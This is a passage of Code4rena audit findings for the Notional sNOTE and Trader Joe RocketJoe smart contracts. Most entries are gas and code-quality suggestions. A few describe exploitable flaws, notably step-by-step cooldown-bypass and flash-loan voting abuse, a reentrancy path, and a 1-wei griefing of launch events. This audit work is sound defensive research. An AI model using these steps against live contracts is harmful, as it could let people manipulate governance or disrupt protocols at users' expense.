"https://github.com/code-423n4/2022-01-notional-findings/issues/68", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle ShippooorDAO # Vulnerability details ## Impact Cooldown and redeem windows can be rendered useless. ## Proof of Concept - Given an account that has not staked sNOTE. - Account calls sNOTE.startCooldown - Account waits for the duration of the cooldown period. Redeem period starts. - Account can then deposit and redeem as they wish, making the cooldown useless. - Multiple accounts could be used to \"hop\" between redeem windows by transfering between them, making the redeem window effictively useless. Could be used for voting power attacks using flash loan if voting process is not monitored https://www.coindesk.com/tech/2020/10/29/flash-loans-have-made-their-way-to-manipulating-protocol-elections/ ## Tools Used - Eyes - Brain - VS Code ## Recommended Mitigation Steps A few ways to mitigate this problem: Option A: Remove the cooldown/redeem period as it's not really preventing much in current state. Option B: Let the contract start the cooldown on mint, and bind the cooldown/redeem window to the amount that was minted at that time by the account. Don't make sNOTE.startCooldown() available externally. Redeem should verify amount of token available using this new logic. "}, {"title": "`_investWETHToBuyNOTE` is unnecessarily roundabout.", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs ## Proof of Concept TreasuryManager has a `_investWETHToBuyNOTE` function which deposits WETH stored on the contract into the NOTE-WETH Balancer pool. https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/TreasuryManager.sol#L168-L211 Note there's a bit of a disconnect between the function name and what it's actually doing. You could argue that you're buying NOTE as you'll end up with an 80% note position but I think it's more helpful for the purposes of this function to think of it as a \"trade\" of WETH for BPT. The current function is as so: ``` IPriceOracle.OracleAverageQuery[] memory queries = new IPriceOracle.OracleAverageQuery[](1); queries[0].variable = IPriceOracle.Variable.PAIR_PRICE; queries[0].secs = 3600; // last hour queries[0].ago = 0; // now // Gets the balancer time weighted average price denominated in ETH uint256 noteOraclePrice = IPriceOracle(address(BALANCER_POOL_TOKEN)) .getTimeWeightedAverage(queries)[0]; BALANCER_VAULT.joinPool( NOTE_ETH_POOL_ID, address(this), sNOTE, // sNOTE will receive the BPT IVault.JoinPoolRequest( assets, maxAmountsIn, abi.encode( IVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT, maxAmountsIn, 0 // Accept however much BPT the pool will give us ), false // Don't use internal balances ) ); uint256 noteSpotPrice = _getNOTESpotPrice(); // Calculate the max spot price based on the purchase limit uint256 maxPrice = noteOraclePrice + (noteOraclePrice * notePurchaseLimit) / NOTE_PURCHASE_LIMIT_PRECISION; ``` In this function we query the recent price average between NOTE and ETH, perform an unconditional join and then check that the spot price of NOTE in terms of ETH is below some maximum value to ensure that the pool's balances haven't been manipulated such that ETH is being undervalued. This seems like a fairly roundabout method to set a slippage limit on a join which would be simpler if we queried the exchange rate between BPT and WETH. That allows us to specify a minimum amount of BPT we'd accept. We'd then avoid using the function `_getNOTESpotPrice` entirely and could save the costs of querying the pool's balances again. ## Recommended Mitigation Steps Consider changing to something along the lines of ``` IPriceOracle.OracleAverageQuery[] memory queries = new IPriceOracle.OracleAverageQuery[](1); // Note we're querying the BPT price rather than the pair price now queries[0].variable = IPriceOracle.Variable.BPT_PRICE; queries[0].secs = 3600; // last hour queries[0].ago = 0; // now // Gets the balancer time weighted average price denominated in ETH uint256 bptOraclePrice = IPriceOracle(address(BALANCER_POOL_TOKEN)) .getTimeWeightedAverage(queries)[0]; uint256 minBptOut = (bptOraclePrice * notePurchaseLimit) / NOTE_PURCHASE_LIMIT_PRECISION; BALANCER_VAULT.joinPool( NOTE_ETH_POOL_ID, address(this), sNOTE, // sNOTE will receive the BPT IVault.JoinPoolRequest( assets, maxAmountsIn, abi.encode( IVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT, maxAmountsIn, minBptOut ), false // Don't use internal balances ) ); ``` We're directly enforcing a slippage limit on the WETH -> BPT conversion rather than doing it in a roundabout way so it's easier to reason about. We save having to query the pool's balances again so save gas and also in the case where the slippage limit is triggered it'll be hit earlier, again saving gas. "}, {"title": "Unnecessary inheritance messing with inheritance tree.", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Extra boilerplate code (including the whole of the _afterTokenTransfer function) ## Proof of Concept sNOTE inherits from both ERC20Upgradeable and ERC20VotesUpgradeable. https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L15 This causes us to have to add explicit helpers for how to handle the inheritance tree to a bunch of functions https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L315 https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L328 https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L362 https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L381 If we look at OZ however, we can see that ERC20VotesUpgradeable inherits from ERC20PermitUpgradeable which in turn inherits from ERC20Upgradeable https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/fd165faaf00587377b5ab93be3cafb4ffdc96976/contracts/token/ERC20/extensions/ERC20VotesUpgradeable.sol#L28 https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/fd165faaf00587377b5ab93be3cafb4ffdc96976/contracts/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol#L23 There's then no real reason for sNOTE to inherit from ERC20Upgradeable directly. Removing this inheritance should allow you to remove a bunch of the explicit overrides you have. ## Recommended Mitigation Steps Remove direct inheritance of ERC20Upgradeable and remove all the `override(ERC20Upgradeable, ERC20VotesUpgradeable)` stuff. You should be able to just delete `_afterTokenTransfer` in its entirety. "}, {"title": "Initialisation of zero entries in arrays is unnecessary", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Gas costs. ## Proof of Concept In a number of places we create an array and then fill every element with zero. There's no need to do this as a newly declared array will have zero-valued elements by default. We can then avoid the costs of writing a new zero to them. For example we could remove these three lines entirely: https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L111-L113 We can then just pass an empty array in the lines below as so. ``` BALANCER_VAULT.exitPool( NOTE_ETH_POOL_ID, address(this), payable(owner), // Owner will receive the NOTE and WETH IVault.ExitPoolRequest( assets, new uint256[](2), // inlined here abi.encode( IVault.ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT, bptExitAmount ), false // Don't use internal balances ) ); ``` This also crops up elsewhere: https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L156 https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L169 https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L185 ## Tools Used ## Recommended Mitigation Steps Omit lines writing zeros to an empty array. "}, {"title": "Placement of require statement", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Jujic # Vulnerability details ## Impact The require statement can be placed earlier (`before get coolDown`) to reduce gas usage. ## Proof of Concept https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L240 ``` function redeem(uint256 sNOTEAmount) external nonReentrant { AccountCoolDown memory coolDown = accountCoolDown[msg.sender]; require(sNOTEAmount <= balanceOf(msg.sender), \"Insufficient balance\"); require( coolDown.redeemWindowBegin != 0 && coolDown.redeemWindowBegin < block.timestamp && block.timestamp < coolDown.redeemWindowEnd, \"Not in Redemption Window\" ); uint256 bptToRedeem = getPoolTokenShare(sNOTEAmount); _burn(msg.sender, bptToRedeem); BALANCER_POOL_TOKEN.safeTransfer(msg.sender, bptToRedeem); } ``` ## Tools Used Remix ## Recommended Mitigation Steps Relocate the require statement upper. "}, {"title": "Incorrect comment on cooldown check", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "Incorrect comment on cooldown check"}, {"title": "coolDown.redeemWindowEnd serves no purpose", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Increases gas costs due to manipulating redeemWindowEnd and usage of structs for `AccountCooldown` ## Proof of Concept `redeemWindowEnd` will always equal `redeemWindowBegin + REDEEM_WINDOW_SECONDS` so it can just be calculated when needed (excluding the situation where both of these are zero which is already handled in the code.) We then don't need to store both of these values in storage and deal with the overhead of using structs. https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L244 We can then just replace this line with ``` block.timestamp < coolDown.redeemWindowBegin + REDEEM_WINDOW_SECONDS ``` ## Recommended Mitigation Steps Remove `coolDown.redeemWindowEnd` and store cooldowns as a simple uint rather than a struct. "}, {"title": "Comment refers to NOTE when it means WETH", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact ## Proof of Concept This comment should refer to WETH not NOTE https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L177 ## Recommended Mitigation Steps Change to refer to WETH "}, {"title": "`mintFromNOTE`, `mintFromETH` and `mintFromWETH` can be merged into two functions to give users better experience.", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Greater flexibility for users and better conversion between a mix of ETH/NOTE and sNOTE. ## Proof of Concept `sNOTE` allows users to provider either NOTE, ETH or WETH to provide liquidity in return for BPT to mint sNOTE with through the functions `mintFromNOTE`, `mintFromETH` and `mintFromWETH`. https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L146-L188 Balancer allows users to deposit multiple assets at once so the same functionality while being more flexible (by allowing deposits in both NOTE and ETH at the same time) and giving users better execution (A user depositing NOTE and ETH together gets more SNOTE than one who deposits NOTE and then ETH afterwards) Consider the code snippet: ``` /// @notice Mints sNOTE from some amount of NOTE and ETH /// @param noteAmount amount of NOTE to transfer into the sNOTE contract function mintFromETH(uint256 noteAmount) payable external nonReentrant { IAsset[] memory assets = new IAsset[](2); assets[0] = IAsset(address(0)); assets[1] = IAsset(address(NOTE)); uint256[] memory maxAmountsIn = new uint256[](2); maxAmountsIn[0] = msg.value; maxAmountsIn[1] = noteAmount; _mintFromAssets(assets, maxAmountsIn); } /// @notice Mints sNOTE from some amount of NOTE and WETH /// @param wethAmount amount of WETH to transfer into the sNOTE contract /// @param noteAmount amount of NOTE to transfer into the sNOTE contract function mintFromWETH(uint256 wethAmount, uint256 noteAmount) external nonReentrant { // Transfer the WETH and NOTE balance into sNOTE first WETH.safeTransferFrom(msg.sender, address(this), wethAmount); NOTE.safeTransferFrom(msg.sender, address(this), noteAmount); IAsset[] memory assets = new IAsset[](2); assets[0] = IAsset(address(WETH)); assets[1] = IAsset(address(NOTE)); uint256[] memory maxAmountsIn = new uint256[](2); maxAmountsIn[0] = wethAmount; maxAmountsIn[1] = noteAmount; _mintFromAssets(assets, maxAmountsIn); } ``` ## Recommended Mitigation Steps Replace current functions with above versions "}, {"title": "No upper limit on `coolDownTimeInSeconds` allows funds to be locked sNOTE owner.", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/40", "labels": ["bug", "2 (Med Risk)"], "target": "2022-01-notional-findings", "body": "No upper limit on `coolDownTimeInSeconds` allows funds to be locked sNOTE owner."}, {"title": "Require statement on nonzero pool address is impossible to fail ", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact Extra gas costs ## Proof of Concept Here we check that `_noteETHPoolId` corresponds to a registered Balancer pool. https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/TreasuryManager.sol#L59 `_balancerVault.getPool(_noteETHPoolId)` will revert if _noteETHPoolId is not a registered poolId https://github.com/balancer-labs/balancer-v2-monorepo/blob/3c1c362adb1fa003cc33f64da93a2e286b5a1257/pkg/vault/contracts/PoolRegistry.sol#L93 https://github.com/balancer-labs/balancer-v2-monorepo/blob/3c1c362adb1fa003cc33f64da93a2e286b5a1257/pkg/vault/contracts/PoolRegistry.sol#L56 The require statement on the next line is impossible to fail unless we somehow manage to deploy a balancer pool to the zero address (which would be impressive) https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/TreasuryManager.sol#L60 We can then safely remove this statement without any change in behaviour. ## Recommended Mitigation Steps Remove require statement. "}, {"title": "_getToken not resilient to errors", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/36", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact `_getToken` return empty values instead of revert. ## Proof of Concept The library `TokenHandler` has the `_getToken` method and this method returns an empty struct instead of revert if the currencyId was not found, this can produce in unexpected errors. ## Tools Used Manual review. ## Recommended Mitigation Steps revert if it was not found. "}, {"title": "safeApprove of openZeppelin is deprecated", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/20", "labels": ["bug", "duplicate", "0 (Non-critical)"], "target": "2022-01-notional-findings", "body": "safeApprove of openZeppelin is deprecated"}, {"title": "Require with empty message", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/18", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "Require with empty message"}, {"title": "Cheaper operation should be done first in an if statement", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/319", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle pedroais # Vulnerability details ## Impact Save gas ## Proof of Concept The cheaper operation should be done first to save gas . auctionStart == 0 is cheaper than block.timestamp < auctionStart https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L291 "}, {"title": "Lack of input checks (withrawal penalties should always be greater than 0)", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/314", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Lack of input checks (withrawal penalties should always be greater than 0)"}, {"title": "Gas Optimziation: Unnecessary pairBalance call", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/310", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle gzeon # Vulnerability details ## Impact If `msg.sender == issuer`, we don't need to call `pairBalance(msg.sender)` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L447 ``` uint256 balance = pairBalance(msg.sender); user.hasWithdrawnPair = true; if (msg.sender == issuer) { balance = lpSupply / 2; emit IssuerLiquidityWithdrawn(msg.sender, address(pair), balance); if (tokenReserve > 0) { uint256 amount = tokenReserve; tokenReserve = 0; token.transfer(msg.sender, amount); } } else { emit UserLiquidityWithdrawn(msg.sender, address(pair), balance); } ``` to ``` uint256 balance; user.hasWithdrawnPair = true; if (msg.sender == issuer) { balance = lpSupply / 2; emit IssuerLiquidityWithdrawn(msg.sender, address(pair), balance); if (tokenReserve > 0) { uint256 amount = tokenReserve; tokenReserve = 0; token.transfer(msg.sender, amount); } } else { balance = pairBalance(msg.sender); emit UserLiquidityWithdrawn(msg.sender, address(pair), balance); } ``` "}, {"title": "Gas Optimization: Use type(uint256).max instead of block.timestamp", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/309", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas Optimization: Use type(uint256).max instead of block.timestamp"}, {"title": "Reasonable upper limits for phase durations", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/303", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Reasonable upper limits for phase durations"}, {"title": "Repeated storage access", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/300", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Repeated storage access"}, {"title": "Unchecked math operations", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/296", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Unchecked math operations"}, {"title": "Unchecked math operations", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/295", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Unchecked math operations"}, {"title": "Separate issuer functions from regular users", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/294", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Separate issuer functions from regular users"}, {"title": "Unsafe call to decimals()", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/291", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Unsafe call to decimals()"}, {"title": "Gas Optimization: fmul optimization", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/290", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas Optimization: fmul optimization"}, {"title": "Gas Optimization: Variables that could be set immutable", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/284", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Gas Optimization: Variables that could be set immutable"}, {"title": "Use constructors", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Use constructors"}, {"title": "Error never thrown", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/278", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Error never thrown"}, {"title": "Mark unchanging variables immutable", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-trader-joe-findings", "body": "Mark unchanging variables immutable"}, {"title": "Use Shift Right/Left instead of Division/Multiplication if possible", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/271", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "Use Shift Right/Left instead of Division/Multiplication if possible"}, {"title": "RocketJoeStaking.initialize arguments need to be checked", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/266", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle hyh # Vulnerability details ## Impact Being instantiated with wrong configuration the contract will be inoperable. If a misconfiguration is noticed too late the various types of malfunctions become possible. ## Proof of Concept RocketJoeStaking.initialize doesn't check input parameters, which are immutable due to initializer pattern: https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeStaking.sol#L72-75 ## Recommended Mitigation Steps Consider checking joe, rJoe addresses and lastRewardTimestamp to be non-zero and also checking rJoePerSec to be within pre specified bounds "}, {"title": "using += to save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/265", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle rfa # Vulnerability details ## Impact expensive gas ## Proof of Concept https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/RocketJoeStaking.sol#L169-L172 ## Tools Used ## Recommended Mitigation Steps ``` accRJoePerShare += (rJoeReward * PRECISION) / joeSupply; ``` "}, {"title": "Missing consistent zero address checks", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/263", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact Some functions in RocketJoeFactory.sol have zero checks for setting specific state variables, but there zero address checks are not always applied. Setting some of these state variables to the zero address, whether intentional or not, can break the protocol functionality. Adding these checks consistently would prevent this scenario. ## Proof of Concept The [constructor in RocketJoeFactory.sol](https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L53-L61) performs zero address checks before setting the router, factory, penaltyCollector, and rJoe state variables. Later in the same contract, the functions `setRJoe()`, `setPenaltyCollector()`, `setRouter()`, and `setFactory()` [omit the same zero address checks](https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L159-L188) that were applied earlier. Since the issues that can be caused by setting these state variables to the zero address exist whether setting the value in the constructor or in the setter function, these checks should be applied consistently. ## Recommended Mitigation Steps Add zero address checks in the setter functions for these state variables just like is done in the constructor. If it is determined that a zero check for any of these state variables is not needed, then the zero check can be removed from the RocketJoeFactory.sol constructor for consistency. "}, {"title": "Functions can be external", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/262", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `withdrawAVAX()` function of LaunchEvent.sol and `initialize()` function of RocketJoeStaking.sol can be declared external for gas savings ## Proof of Concept - [withdrawAVAX](https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/LaunchEvent.sol#L349) - [initialize](https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeStaking.sol#L57) ## Recommended Mitigation Steps Declare functions as external instead of public when possible "}, {"title": "possibility of minting rJOE tokens before ownership is changed to RocketJoeStaking", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/261", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "possibility of minting rJOE tokens before ownership is changed to RocketJoeStaking"}, {"title": "using `unchecked` can save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/260", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "using `unchecked` can save gas"}, {"title": "Improper Upper Bound Definition on the Fee", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/255", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "Improper Upper Bound Definition on the Fee"}, {"title": "`createRJLaunchEvent()` Multiple `launchEvent` can be created unexpectedly by reentrancy", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/248", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-trader-joe/blob/119e12d715ececc31478e833297f124cc15d27c2/contracts/RocketJoeFactory.sol#L97-L154 ```solidity function createRJLaunchEvent( address _issuer, uint256 _phaseOneStartTime, address _token, uint256 _tokenAmount, uint256 _tokenIncentivesPercent, uint256 _floorPrice, uint256 _maxWithdrawPenalty, uint256 _fixedWithdrawPenalty, uint256 _maxAllocation, uint256 _userTimelock, uint256 _issuerTimelock ) external override returns (address) { require( getRJLaunchEvent[_token] == address(0), \"RJFactory: token has already been issued\" ); require(_issuer != address(0), \"RJFactory: issuer can't be 0 address\"); require(_token != address(0), \"RJFactory: token can't be 0 address\"); require(_token != wavax, \"RJFactory: token can't be wavax\"); require( _tokenAmount > 0, \"RJFactory: token amount needs to be greater than 0\" ); require( IJoeFactory(factory).getPair(_token, wavax) == address(0) || IJoePair(IJoeFactory(factory).getPair(_token, wavax)) .totalSupply() == 0, \"RJFactory: liquid pair already exists\" ); address launchEvent = Clones.clone(eventImplementation); // msg.sender needs to approve RocketJoeFactory IERC20(_token).transferFrom(msg.sender, launchEvent, _tokenAmount); ILaunchEvent(payable(launchEvent)).initialize( _issuer, _phaseOneStartTime, _token, _tokenIncentivesPercent, _floorPrice, _maxWithdrawPenalty, _fixedWithdrawPenalty, _maxAllocation, _userTimelock, _issuerTimelock ); getRJLaunchEvent[_token] = launchEvent; isRJLaunchEvent[launchEvent] = true; allRJLaunchEvents.push(launchEvent); _emitLaunchedEvent(_issuer, _token, _phaseOneStartTime); return launchEvent; } ``` At L132, `_token.transferFrom()` can be used to re-enter the `createRJLaunchEvent()` function, before the storage change at L147-149. This will allow the attacker to create multiple `launchEvent` contracts and get them listed in `allRJLaunchEvents`. Even though there is no significant impact as far as we can tell from the smart contract code. We believe this is still unexpected and may cause other parts of the system, say the frontend to malfunction in some cases. ### Recommendation Consider moving L132 `_token.transferFrom()` to after L147-149 to prevent re-entrance. "}, {"title": "`createRJLaunchEvent()` can be called by anyone with 1 Wei of `_token` and stop others from creating RJLaunchEvent with the same token anymore", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/247", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-trader-joe-findings", "body": "`createRJLaunchEvent()` can be called by anyone with 1 Wei of `_token` and stop others from creating RJLaunchEvent with the same token anymore"}, {"title": "`RocketJoeFactory.sol#createRJLaunchEvent()` Check of `_issuer != address(0)`, `_token != address(0)`, `_tokenAmount > 0` can be done earlier to save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/245", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-trader-joe-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L98-L155 ```solidity function createRJLaunchEvent( address _issuer, uint256 _phaseOneStartTime, address _token, uint256 _tokenAmount, uint256 _tokenIncentivesPercent, uint256 _floorPrice, uint256 _maxWithdrawPenalty, uint256 _fixedWithdrawPenalty, uint256 _maxAllocation, uint256 _userTimelock, uint256 _issuerTimelock ) external override returns (address) { require( getRJLaunchEvent[_token] == address(0), \"RJFactory: token has already been issued\" ); require(_issuer != address(0), \"RJFactory: issuer can't be 0 address\"); require(_token != address(0), \"RJFactory: token can't be 0 address\"); require(_token != wavax, \"RJFactory: token can't be wavax\"); require( _tokenAmount > 0, \"RJFactory: token amount needs to be greater than 0\" ); require( IJoeFactory(factory).getPair(_token, wavax) == address(0) || IJoePair(IJoeFactory(factory).getPair(_token, wavax)) .totalSupply() == 0, \"RJFactory: liquid pair already exists\" ); // ... } ``` `_issuer != address(0)`, `_token != address(0)`, `_tokenAmount > 0` are cheaper than other checks who read storage or do external call. Therefore, checking `_issuer != address(0)`, `_token != address(0)`, `_tokenAmount > 0` first can save some gas. ### Recommendation Change to: https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L98-L155 ```solidity function createRJLaunchEvent( address _issuer, uint256 _phaseOneStartTime, address _token, uint256 _tokenAmount, uint256 _tokenIncentivesPercent, uint256 _floorPrice, uint256 _maxWithdrawPenalty, uint256 _fixedWithdrawPenalty, uint256 _maxAllocation, uint256 _userTimelock, uint256 _issuerTimelock ) external override returns (address) { require(_issuer != address(0), \"RJFactory: issuer can't be 0 address\"); require(_token != address(0), \"RJFactory: token can't be 0 address\"); require( _tokenAmount != 0, \"RJFactory: token amount needs to be greater than 0\" ); require( getRJLaunchEvent[_token] == address(0), \"RJFactory: token has already been issued\" ); require(_token != wavax, \"RJFactory: token can't be wavax\"); require( IJoeFactory(factory).getPair(_token, wavax) == address(0) || IJoePair(IJoeFactory(factory).getPair(_token, wavax)) .totalSupply() == 0, \"RJFactory: liquid pair already exists\" ); // ... } ``` "}, {"title": "Use short reason strings can save gas", "html_url": "https://github.com/code-423n4/2022-01-trader-joe-findings/issues/242", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], 